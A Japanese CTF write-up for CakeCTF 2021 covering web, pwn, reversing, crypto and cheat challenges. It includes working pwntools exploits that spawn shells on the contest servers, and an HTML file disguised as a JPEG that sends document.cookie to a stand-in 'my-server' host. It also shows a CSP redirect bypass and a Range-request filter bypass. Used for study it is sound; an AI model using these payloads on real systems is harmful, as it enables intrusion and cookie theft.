CakeCTF write-up

https://2021.cakectf.com/

https://github.com/theoremoon/cakectf-2021-public

色々と知識が得られて楽しい。

15問、2247点、18位。

![2021.cakectf.com_tasks(capture (1440)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/bd343e85-c9f2-b314-7e4c-b42e84ebc2b1.png)

![2021.cakectf.com_team_995697897(capture (1440)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/89f9c423-bb44-199a-8908-b57cb993d141.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/ed86b659-a1e3-50fe-b133-d743ad172dd6.png)

### Welcome (welcome)

Discord。

`CakeCTF{Let_them_eat_CakeCTF2021!}`

### MofuMofu Diary (web, warmup)

画像付き日記サイト。

データディレクトリを`images/*.jpg`で操作して、ファイル一覧をキャッシュとしてcookieに突っ込んでいる。じゃあCookieを書き換えて/flag.txtにすれば終わり……と思ったけどなぜか動かない。~~キャッシュが1週間**以内**ではなく、1週間後**以降**に効くようになっていた。リアルにそんなサイトあるか？　……ありそうだな…… :rolling_eyes:~~　有効期限も書き換えればOK。

追記：いや、サイトの挙動で正しい。キャッシュが無ければファイル一覧の取得と読み込み、キャッシュがあって有効期限が切れいてたら画像の読み込み、からなぜか謎の勘違いをしていた。

`{"data":[{"name":"/flag.txt","description":"flag"}],"expiry":0}`をエンコードしてcookieに書き込んでアクセス。

`CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}`

### UAF4b (warmup, pwn)

```
$ nc pwn.cakectf.com 9001
Today, let's learn how dangerous Use-after-Free is!
You're going to abuse the following structure:

  typedef struct {
    void (*fn_dialogue)(char*);
    char *message;
  } COWSAY;

An instance of this structure is allocated on the heap:

  COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY));

You can
 1. Call `fn_dialogue` with `message` as its argument:
  cowsay->fn_dialog(cowsay->message);

 2. Allocate and set `message` (This will never be freed):
  cowsay->mesage = malloc(17);
  scanf("%16s", cowsay->message);

 3. Delete cowsay only once:
  free(cowsay);

 4. See the heap around the cowsay instance

Last but not least, here is the address of `system` function:
  <system> = 0x7f80ff2b5410

1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
>
```

これは4b（for beginner）。16バイトの`COWSAY`と17バイトの`message`は同じサイズのmallocチャンクになるので、解放してすぐ`message`を確保すれば`fn_dialogue`に書き込める。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("pwn.cakectf.com", 9001)
s.recvuntil("<system> = 0x")
system = int(s.recvline()[:-1].decode(), 16)
s.sendlineafter("> ", "3")
s.sendlineafter("> ", "2")
s.sendlineafter("Message: ", pack(system))
s.sendlineafter("> ", "2")
s.sendlineafter("Message: ", "/bin/sh")
s.interactive()
```

```
$ python3 attack.py
[+] Opening connection to pwn.cakectf.com on port 9001: Done
[*] Switching to interactive mode
1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
> $ 4

  [ address ]      [ heap data ]
               +------------------+
0x5606135cb290 | 0000000000000000 |
               +------------------+
0x5606135cb298 | 0000000000000021 |
               +------------------+ cowsay (freed)
0x5606135cb2a0 | 00007f45e1f21410 | <-- fn_dialogue (= system)
               +------------------+
0x5606135cb2a8 | 00005606135cb2c0 | <-- message (= '/bin/sh')
               +------------------+
0x5606135cb2b0 | 0000000000000000 |
               +------------------+
0x5606135cb2b8 | 0000000000000021 |
               +------------------+ cowsay->message
0x5606135cb2c0 | 0068732f6e69622f |
               +------------------+
0x5606135cb2c8 | 0000000000000000 |
               +------------------+
1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
> $ 1
[+] You're trying to call 0x00007f45e1f21410
$ ls -al
total 32
drwxr-xr-x 1 root pwn   4096 Aug 27 23:49 .
drwxr-xr-x 1 root root  4096 Aug 27 03:35 ..
-r-xr-x--- 1 root pwn     37 Aug 27 03:34 .redir.sh
-r-xr-x--- 1 root pwn  13416 Aug 27 03:34 chall
-r--r----- 1 root pwn     82 Aug 27 23:42 flag-7a6f369885822f1effdbad51554c0467.txt
$ cat flag-7a6f369885822f1effdbad51554c0467.txt
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}
```

「Describe heap」の作り込みがすごい。

`CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}`

### nostrings (reversing, warmup)

stringsダメなのかな。

```
$ strings chall
/lib64/ld-linux-x86-64.so.2
libc.so.6
 :
FakeCTF{actually_this_is_not_the_flag_please_don_t_submit}
CokeCTF{the_coke_is_so_tasty_but_not_compatible_with_cake}
DoggoCTF{the_doggo_is_so_cute_i_know_and_you_may_know_too}
CateCTF{do_you_know_the_name_of_the_cat_who_eating_a_cake}
BlablaBla...Wowow....Wawooooooooo...Nyarrrrrrrrn....Cooook
FlagCTF{so_as_a_lot_of_flags_here_one_of_them_is_a_flag??}
 :
$ strings chall | grep CakeCTF
CakeCTF}this_is_not_a_flag_because_dont_follow_the_format{
```

はい。

入力した文字列を`flag`、この偽フラグの配列を`fake_flag[]`として、`i`文字目の文字について`fake_flag[flag[i]*0x7f+i]==flag[i]`が成り立てば良いらしい。

```solve.py
T = open("chall", "rb").read()[0x3020:]
flag = ""
for i in range(0x40):
  for c in range(128):
    if T[c*0x7f+i]==c:
      flag += chr(c)
print(flag)
```

```
$ python3 solve.py
CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}
```

フラグを隠すならフラグの森の中と。

`CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}`

### Survey (survey)

アンケート。点数は入るものの、解いた時刻（同点のときの順位に関わる）はこの問題によって変化しないらしい。丁寧。

`CakeCTF{w4s_th1s_CTF_p13c3_0f_c4k3_4U?}`

### discrete log (warmup, crypto)

```task.py
 :
with open("flag.txt", "rb") as f:
    flag = f.read().strip()

p = getSafePrime(512)
g = getRandomRange(2, p)
r = getRandomRange(2, p)

cs = []
for m in flag:
    cs.append(pow(g, r*m, p))

print(p)
print(g)
print(cs)
```

`m`は1バイトなので、$r$さえ分かれば全探索ができるが……。フラグのフォーマットは`CakeCTF\{[\x20-\x7e]+\}`であるとコンテストのトップページに明記されている。このうち、Cの文字コードは67、Fは70。$C_c=g^{67r}$, $C_f=g^{70r}$とすると、$g^{3r}=\frac{C_f}{C_c}$、$g^r=\frac{C_c}{g^{3\times 22r}}$。$r$が分からなくても$g^r$が分かれば全探索できる。

```solve.py
p = int(input())
g = int(input())
cs = eval(input())

C = cs[0] # g^(r*67)
F = cs[6] # g^(r*70)
gr3 = F*pow(C, p-2, p)%p # g^(r*3)
gr = C*pow(pow(gr3, 22, p), p-2, p)%p # g^r

flag = ""
for c in cs:
  for m in range(256):
    if pow(gr, m, p)==c:
      flag += chr(m)
print(flag)
```

```
$ python3 solve.py < discrete-log/output.txt
CakeCTF{ba37a0f409ef3ec23a6cffbc474a1cef}
```

`CakeCTF{ba37a0f409ef3ec23a6cffbc474a1cef}`

### Break a leg (warmup, misc)

![chall.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/044563bb-ebfc-b0af-be7b-8912b09fb3fb.png)

同梱のソースコードを読むと、この画像は、

```chall.py
 :
bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]
 :
```

として作られている。乱数によって得られたバイトの下位1ビットが元から1だったら何の情報も得られない。が、繰り返し埋め込まれているので問題無し。1個でも0になっているものがあれば、フラグの対応するビットは確実に0。全てが1だったらほぼ確実に1。

フラグの長さ（`bitlen`）は分からないが、全探索すれば良い。

```solve.py
from PIL import Image

img = Image.open("chall.png")
data = img.getdata()
data = [data[i//3][i%3] for i in range(256*256*3)]

for l in range(1, 1024):
  m = (1<<l)-1
  flag = m
  for i in range(256*256*3):
    if (data[i]&1)==0:
      flag &= m^1<<(i%l)
  print(l, flag, flag.to_bytes((l+7)//8, "big"))
```

```
$ python3 solve.py
1 0 b'\x00'
2 0 b'\x00'
3 0 b'\x00'
4 0 b'\x00'
5 0 b'\x00'
6 0 b'\x00'
7 0 b'\x00'
8 0 b'\x00'
9 0 b'\x00\x00'
10 0 b'\x00\x00'
 :
114 0 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
115 81129638414609059596392256774148 b'\x00\x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04'
116 0 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 :
574 0 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
575 65098661095445183434696709778193156342027818971336876095708347784094848120038044827513183056255090008886975906005491958605383829271221442134569651498898546217340432757711741 b'CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}'
576 0 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 :
```

`CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}`

### Hash browns (reversing)

偶数バイトはその1文字のMD5が、奇数バイトはSHA256が、特定の値になるかどうかでチェックしている。各文字256通りなので全探索。

```
$ python3 solve.py
CakeC~F_(^oO)8=A-~-2~)(*_7)~~pP^T(T(ObOT~~(_@5)-+O-{-~*=(^o+)^4=6^1)7=8O4}
```

:thinking: :thinking: :thinking: :thinking: 

謎の再帰関数`f`があって、「angrの妨害でもしたいのだろうか？」と思っていたけど、ちゃんと使われていたわ。謎の処理は、拡張ユークリッドの互除法による離散逆数の計算だった。SHA256のほうはテーブルの逆数の位置と比較する。

```
$ python3 solve.py
CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}
```

`CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}`

### improvisation (crypto)

```task.py
import random

def LFSR():
    r = random.randrange(1 << 64)
    while True:
        yield r & 1
        b = (r & 1) ^\
            ((r & 2) >> 1) ^\
            ((r & 8) >> 3) ^\
            ((r & 16) >> 4)
        r = (r >> 1) | (b << 63)

if __name__ == '__main__':
    with open("flag.txt", "rb") as f:
        flag = f.read()
        assert flag.startswith(b'CakeCTF{')
        m = int.from_bytes(flag, 'little')

    lfsr = LFSR()
    c = 0
    while m:
        c = (c << 1) | ((m & 1) ^ next(lfsr))
        m >>= 1

    print(hex(c))
```

LSFRは、[線形帰還シフトレジスタ](https://ja.wikipedia.org/wiki/%E7%B7%9A%E5%BD%A2%E5%B8%B0%E9%82%84%E3%82%B7%E3%83%95%E3%83%88%E3%83%AC%E3%82%B8%E3%82%B9%E3%82%BF)（Linear Feedback Shift Register）である。64ビットの`r`を掻き回して、1ビットごとに乱数を作ってXORしている。

`CakeCTF{`が8文字でちょうど64ビットだから、ここから`r`を逆算しろということでしょう。どうやるんだろう……。分からないので、Z3に投げた。

```solve.py
from z3 import *

c = 0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053
C = []
for i in range(300):
  C += [c&1]
  c >>= 1
C = C[::-1]

prefix = int.from_bytes(b"CakeCTF{", "little")
prefix = [prefix>>i&1 for i in range(64)]

s = Solver()

r_org = BitVec("r", 64)
r = r_org
for i in range(64):
  s.add(r&1==C[i]^prefix[i])
  b = r&1 ^ (r>>1&1) ^ (r>>3&1) ^ (r>>4&1)
  r = r>>1 | b<<63

assert s.check()==sat
m = s.model()
r = m[r_org].as_long()
print("r:", hex(r))

def LFSR(r):
    while True:
        yield r & 1
        b = (r & 1) ^\
            ((r & 2) >> 1) ^\
            ((r & 8) >> 3) ^\
            ((r & 16) >> 4)
        r = (r >> 1) | (b << 63)
lfsr = LFSR(r)

for i in range(len(C)):
  C[i] ^= next(lfsr)
m = 0
for i in range(len(C)):
  m |= C[i]<<i
print(m.to_bytes(len(C)//8+1, "little").decode())
```

```
$ python3 solve.py
r: 0xdc5f2daaff9d0b59
CakeCTF{d0n't_3xp3c7_s3cur17y_2_LSFR}
```

`CakeCTF{d0n't_3xp3c7_s3cur17y_2_LSFR}`

### GOT it (pwn)

問題のソースコードがとても簡潔。

```main.c
#include <stdio.h>
#include <unistd.h>

void main() {
  char arg[10] = {0};
  unsigned long address = 0, value = 0;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  printf("<main> = %p\n", main);
  printf("<printf> = %p\n", printf);

  printf("address: ");
  scanf("%p", (void**)&address);
  printf("value: ");
  scanf("%p", (void**)&value);
  printf("data: ");
  scanf("%9s", (char*)&arg);
  *(unsigned long*)address = value;

  puts(arg);
  _exit(0);
}
```

任意のアドレスに任意の8バイト書き込んで、`puts(arg)`を呼び出す。バイナリの配置アドレス（`main`）もlibcの配置アドレス（`printf`）も教えてくれる。アンダースコア付きの`_exit(0)`はlibc周りの終了処理をせずに、すぐにプログラムを終了する。当然、`main`からのリターンアドレスを書き換えて何かするのも不可。

任意のアドレスへの書き込みの後に、`puts(arg)`があるならば、GOTの`puts`を`system`に書き換えて、`system(arg)`にして、`arg="/bin/sh"`とするのが定番である。が、問題文に書かれているようにFull RELROで封じられている。

> Does "Full RELRO" mean it's really secure against GOT overwrite?

ROPもGOT overwriteも使えないならば、file stream oriented programming。`stdout`などは関数テーブルをlibc中に持っているので、そこを書き換える。`system`に書き換えてみたけどダメ。あ、テーブル中の関数は第1引数がファイルポインタだった。

それなら、one-gadget RCE。libc-2.31だとなかなか大変だが……。One-gadget RCEを色々試しても通らなかったけど、`"/bin/sh"`のままだった`arg`を空文字列にしたらいけた。

```
$ one_gadget libc-2.31.so
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL
 :
```

```attack.py
from pwn import *

s = remote("pwn.cakectf.com", 9003)
s.recvuntil("<printf> = 0x")
printf = int(s.recvline()[:-1].decode(), 16)

libc = ELF("libc-2.31.so")
libc.address = printf-libc.symbols.printf

s.sendlineafter("address: ", "%x"%(libc.symbols._IO_file_jumps+0x38))
#s.sendlineafter("value: ", "%x"%libc.symbols.system)
s.sendlineafter("value: ", "%x"%(libc.address+0xe6c7e))
#s.sendlineafter("data: ", "/bin/sh")
s.sendlineafter("data: ", "\0")
s.interactive()
```

```
$ python3 solve.py
[+] Opening connection to pwn.cakectf.com on port 9003: Done
[*] '/mnt/d/documents/ctf/cakectf2021/GOT it/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-xr-x 1 root pwn   4096 Aug 27 03:42 .
drwxr-xr-x 1 root root  4096 Aug 27 03:35 ..
-r-xr-x--- 1 root pwn     37 Aug 27 03:34 .redir.sh
-r-xr-x--- 1 root pwn  16968 Aug 27 03:40 chall
-r--r----- 1 root pwn     31 Aug 27 03:41 flag-94a6afdf8e59954b19196caca9ab2e35.txt
$ cat flag-94a6afdf8e59954b19196caca9ab2e35.txt
CakeCTF{*ABS*+0x190717@IGOTIT}
```

`CakeCTF{*ABS*+0x190717@IGOTIT}`

### telepathy (misc)

HTTPはもう古い、時代はHyperTextTelePathyとのこと。

nginxとGo言語アプリ。アプリのほうはflag.txtを読んで返すだけ。そう、何もしなくてもフラグを返してくれるが、nginxで止められている。

```default.conf
 :
server {
    listen       80;
    server_name  localhost;

    #charset koi8-r;
    #access_log  /var/log/nginx/host.access.log  main;

    location / {
        # I'm getting the flag with telepathy...
        proxy_pass  http://app:8000/;

        # I will send the flag to you by HyperTextTelePathy, instead of HTTP
        header_filter_by_lua_block { ngx.header.content_length = nil; }
        body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
    }
 :
```

`/\w*\{.*\}/`が消される。nginxの設定なんて知らんよ……と諦めていたけど正解チーム数が多い。

`/\w*\{.*\}/`が消されるのなら、レスポンスボディに`/\w*\{.*\}/`が無ければ良いだけだった。レンジリクエスト。アプリがわざわざHTTPサーバーライブラリの機能でファイルを返すようにしているのはこのためか。

```
$ curl http://misc.cakectf.com:18100/ -H "Range: bytes=0-9,10-"
--60263677e5c975dde4b88ffeaa708cd74519b8817954231ed299201cdb38
Content-Range: bytes 0-9/28
Content-Type: text/plain; charset=utf-8

CakeCTF{r4
--60263677e5c975dde4b88ffeaa708cd74519b8817954231ed299201cdb38
Content-Range: bytes 10-27/28
Content-Type: text/plain; charset=utf-8

ng3-0r4ng3-r4ng3}

--60263677e5c975dde4b88ffeaa708cd74519b8817954231ed299201cdb38--

CakeCTF{r4ng3-0r4ng3-r4ng3}
```

`CakeCTF{r4ng3-0r4ng3-r4ng3}`

### JIT4b (pwn)

勉強になる。

```
$ nc pwn.cakectf.com 9002
Today, let's learn about bounds-checking elimination bug!
JIT is frequently abused in browser exploitation.

The JIT compiler is going to optimize the following function:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   <YOUR CODE GOES HERE>
4|   return arr[x];
5| }

You can apply some basic calculations on `x`, for example:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   x = Math.min(x, 2);
4|   x = Math.max(x, 0);
5|   return arr[x];
6| }

In the code above, JIT will remove the bound check on line 5
because JIT knows `x` is always in Range(0, 2).

However, in the code below, JIT will not remove the bound check
because the speculated range for `x` is Range(-inf, 2),
which may cause (negative) out-of-bound access.

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
4|   x = x * 123;
3|   x = Math.max(x, 2);
5|   return arr[x];
6| }

Your goal is to deceive JIT speculation and access out-of-bound.

Step 1. Build your function
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 4
value: -2147483648
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 3
value: 100
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 0
[+] Your function looks like this:

function f(x) {
  let arr = [3.14, 3.14, 3.14];
  x /= -2147483648;
  x *= 100;
  return arr[x];
}

Step 2. Optimize your function...
[JIT] Speculation: Range(-2147483648, 2147483647)
[JIT] Applying [ x /= -2147483648 ]
[JIT] Speculation: Range(1, 0)
[JIT] Applying [ x *= 100 ]
[JIT] CheckBound: 0 <= Range(100, 0) < 3?
      --> Yes. Eliminating bound check for performance.

Step 3. Call your optimized function
What's the argument `x` passed to `f`?
x = -2147483648
[+] f(-2147483648) --> 0
[+] Wow! You deceived the JIT compiler!
[+] CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r}
```

ソースコードのここがマズい。

```abstract.hpp
 :
  /* Abstract divition */
  Range& operator/=(const int& rhs) {
    if (rhs < 0)
      *this *= -1; // This swaps min and max properly
    // There's no function named "__builtin_sdiv_overflow"
    // (Integer overflow never happens by integer division!)
    min /= abs(rhs);
    max /= abs(rhs);
 :
```

`abs(-0x80000000) = -0x80000000`で、`min <= max`という不変条件が壊れる。

`CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r}`

### Kingtaker (cheat)

JavaScript製倉庫番ゲーム。箱を押すのには歩数を2消費するのが頭を使わされる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/f6b7682e-c5a9-64d2-b387-f49c0a92e13f.png)

Level 1と2は真っ当にクリアできるが、level 3で歩数がギリギリ足りない。チートしよう。

```king-taker.js
/**
 * Probably it's not a good idea to read this code
 */
```

ソースコードの冒頭にはこう書かれている。たしかに難読化されていて読む気がしない分量ではある。

[うさみみハリケーン](https://www.vector.co.jp/soft/win95/prog/se375830.html)でブラウザのプロセスから歩数を探してみたけど、doubleでもintでも見つからない。そういえば、ブラウザのエンジンはメモリを節約するために、double型のどこかのビットに型情報を押し込めているとかどこかで聞いた気がするが……詳細が見つからない。

追記：他の人は普通にメモリ書き換えでもいけているっぽいので、私の探しかたか何かが悪かったのかもしれない。

諦めてソースコードを、読まないまでも、検索することにした。↑のlevel 2の初期歩数38（＝0x26）で検索すると、

```king-taker.js
 :
function _Y2(_0x5a5930) {
    var _0x3c251a = _0xffd866;
    global[_0x3c251a(0x7bb)] = 0x26;
}
 :
```

が見つかる。ここで代入している`global['_n4']`を書き換えると歩数が増やせた。ただし、大きくしすぎるとチートとして検出される。これでlevel 3はクリアできる。次のlevel 4がこれ。2重に置かれると押せない。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/5103d71a-baeb-ca94-976a-29b07f478250.png)

この難読化、ときどき文字列定数がそのまま出てくる。`level`とかで検索してがんばると`_y1._K2`に各ステージの情報が入っていることが分かった。`_y1._K2[3]._S2`がオブジェクト配置。`index=3`のものが箱っぽいので座標を書き換えてリセットし、邪魔にならないところに飛ばす。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/f0bfffe1-fe47-5e13-34a6-432d174700d3.png)

:ok_woman: 　このステージが最後だった。

`CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}`

### travelog (web)

ブログサービス。HTMLは何でも書ける。Jpegファイルのアップロードもできる。しかし、CSPがガチガチ。

```
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-dpo196KEIYH3ADoFiPQ8VA==' 'unsafe-inline';
  style-src 'nonce-dpo196KEIYH3ADoFiPQ8VA==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;
  frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;
  img-src 'self';
  connect-src http: https:;base-uri 'self'
```

でも、XSSまでする必要はなくて、フラグはブラウザのuser agentなので、こちらの用意したサイトに飛ばせればそれで良い。

画像の振りして任意のファイルをアップロードできる（後述）けど、管理者に送りつけられるのはブログ記事のURLだけだし、これでどうしろと……。`connect-src`は緩いけど、[MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src)を読むと、`<a ping=...`とか`fetch`とかで、それが役に立つ状況ならもうどうでも良いんだよな……。

と散々悩んだけど、

```html
<meta http-equiv="refresh" content="1; URL=http://my-server/">
```

だけだったw

```
>ncat -l 8888
GET / HTTP/1.1
Host: XXXXXXXX:8888
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
```

`CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}`

### travelog again (web)

<blockquote class="twitter-tweet" data-conversation="none"><p lang="ja" dir="ltr">CTFで、「○○」という問題と「○○ again」みたいな問題があったら、○○を解く前に初手againのほうを見る。○○の脆弱性が修正されてagainになっているのが定番なので。しかし、CakeCTFのagainは「ソースコードのパスワードは○○のフラグだよ^^」で、ぐぬぬ。</p>&mdash; kusanoさん@がんばらない (@kusano_k) <a href="https://twitter.com/kusano_k/status/1432017923724349444?ref_src=twsrc%5Etfw">August 29, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

で、ソースコードを見てみたらクローラー以外何ひとつ変わっていなくて、さらにぐぬぬ。

クローラーのソースコードを見るとフラグはcookieに入っているので、今度はちゃんとXSSしないといけないらしい。

このサービス、Jpeg画像しかアップロードできないということになっているけれど、拡張子のチェックはクライアント側。サーバー側でのチェックは、[imghdr](https://docs.python.org/ja/3/library/imghdr.html)の`imghdr.what(t.name) != 'jpeg'`だけ。ソースコードを読むと、チェックは非常に緩い。

```imghdr.py
 :
def test_jpeg(h, f):
    """JPEG data with JFIF or Exif markers; and raw JPEG"""
    if h[6:10] in (b'JFIF', b'Exif'):
        return 'jpeg'
    elif h[:4] == b'\xff\xd8\xff\xdb':
        return 'jpeg'
 :
```

https://github.com/python/cpython/blob/d3bdbbf9a4352a24fc2bfc7a63a024b244b61aba/Lib/imghdr.py#L37-L42

```attack.html
<html>JFIF
  <script>
    fetch("http://my-server/?"+document.cookie)
  </script>
</html>
```

を、

```python
import requests
requests.post(
  "http://web.cakectf.com:8011/upload",
  files = {"images[]": ("attack.html", open("attack.html", "rb"))},
  cookies = {"session": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"}
)
```

でアップロードして、travelogと同様に`<meta>`でこのHTMLファイルにリダイレクトすればOK。アップロードしたファイルは、Flaskの`send_file`で送信されるので、CSPは付かないし、content typeも（拡張子から？）良い感じに付く。

```
>ncat -l 8888
GET /?flag=CakeCTF{I%27ll_n3v3r_trust_HTML:angry:} HTTP/1.1
Host: xxxxxxxxxx:8888
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4469.0 Safari/537.36
Accept: */*
Origin: http://challenge:8080
Referer: http://challenge:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
```

`CakeCTF{I'll_n3v3r_trust_HTML:angry:}`

### Together as one (crypto)

解けなかった。

```chall.py
from Crypto.Util.number import getStrongPrime, bytes_to_long

p = getStrongPrime(512)
q = getStrongPrime(512)
r = getStrongPrime(512)

n = p*q*r

x = pow(p + q, r, n)
y = pow(p + q*r, r, n)

m = bytes_to_long(open("./flag.txt", "rb").read())
assert m.bit_length() > 512
c = pow(m, 0x10001, n)

print(f"{n = :#x}")
print(f"{c = :#x}")
print(f"{x = :#x}")
print(f"{y = :#x}")
```

Multi prime RSA。$x = (p+q)^r \mod n$と$y = (p+qr)^r \mod n$が与えられる。Multi prime RSA自体はRSAとして問題が無いので、$x$と$y$を使うはず。$x$と$y$を展開すると、

```math
x = \binom{r}{0} p^r + \binom{r}{1} p^{r-1}q + \dots + \binom{r}{r} q^r \\
y = \binom{r}{0} p^r + \binom{r}{1} p^{r-1}qr + \dots + \binom{r}{r} q^rr^r
```

二項係数の計算を考えると、$\binom{r}{0}=1$と$\binom{r}{r}=1$以外は、分子に$r$があり、素数なので割られることもないから$r$の倍数になる。また、途中の項は$p$も$q$も含んでいるから、$\mod n$では0になる。

```math
x = p^r + q^r \\
y = p^r + q^rr^r \\
y-x = q^r\left(r^r-1\right)
```

また、$q^xy \mod n$は、$n$が$q$の倍数だから、常に$q$の倍数になる。$y-x \mod n$も$n$も$q$の倍数なので、GCDを取ると$q$が出てくる。

コンテスト中に解けたのはここまで。

あとは、$\frac{y-x}{q}+1=r^r$だから、$n$とのGCDで$r$が出てくる。惜しかった……。

```
$ python3 solve.py
p:  10511901061023359355192186424579142521933095739476476652581103885228615361006193898512131395867343705937041288307490529663277520608876585800253351472561091
q:  10771302214099143620765635186435951575096553728330794432415523808680305392344836722109366711819748792044896794201438150150423606774002471197258088246468887
r:  12374154622850107783751016219431845232225851896411494748726725602696165259524852229244990823965665079213106015629962057796397068972865164098245199120245093
CakeCTF{This_chall_is_inspired_by_this_music__Check_out!__https://www.youtube.com/watch?v=vLadkYLi8YE_cf49dcb6a31f}
```

```solve.py
n = 0x94cf51734887aa44204e7d64ed2b30763fd0715060afd5d15b697c940c272422b4ca765485f7c3116db1166ad1fec4cd4d82d3b32e881ed49f52efe31a226b307d60f2fb375400f9a19b0142e7d88d6118e02971724186e1ef13e586c744240b3ee7d6a105b82a3e3126ae364550e9b3a19d6b012083b8633ad428cf75cb200fe31121e6bf095418c5ed3819225910bc69ebe2e6a219638b830df45015c75ca9a507dc924718a540cfb5d2df09ff28d7cf8feb0e5e69a3d71057004132bb3e79
c = 0x8c0450dff19d853673d51cb2eab4cb84ffa7fa3eba900c1e96adbb2ccb6708320233e18b2d6ce487dbfb88f15b0ccac5829818ca49ac8ab08a1e5b94e27550798e6d1aae48812b784144dc7bed55cec6283042a296e25490990e07b8ff51b1a500b6d8c39af1c07c1ef57ca2b3774a4d38f6006a64f37133915f9afcbd08394e74c616fabd77d79cd9559a3eee41f2507556637bac6145bfba22319f424f07a33221a8fb9c89dc3c68e188230ed36e95a6baf977ca58d2036d136ebd55bd45d3
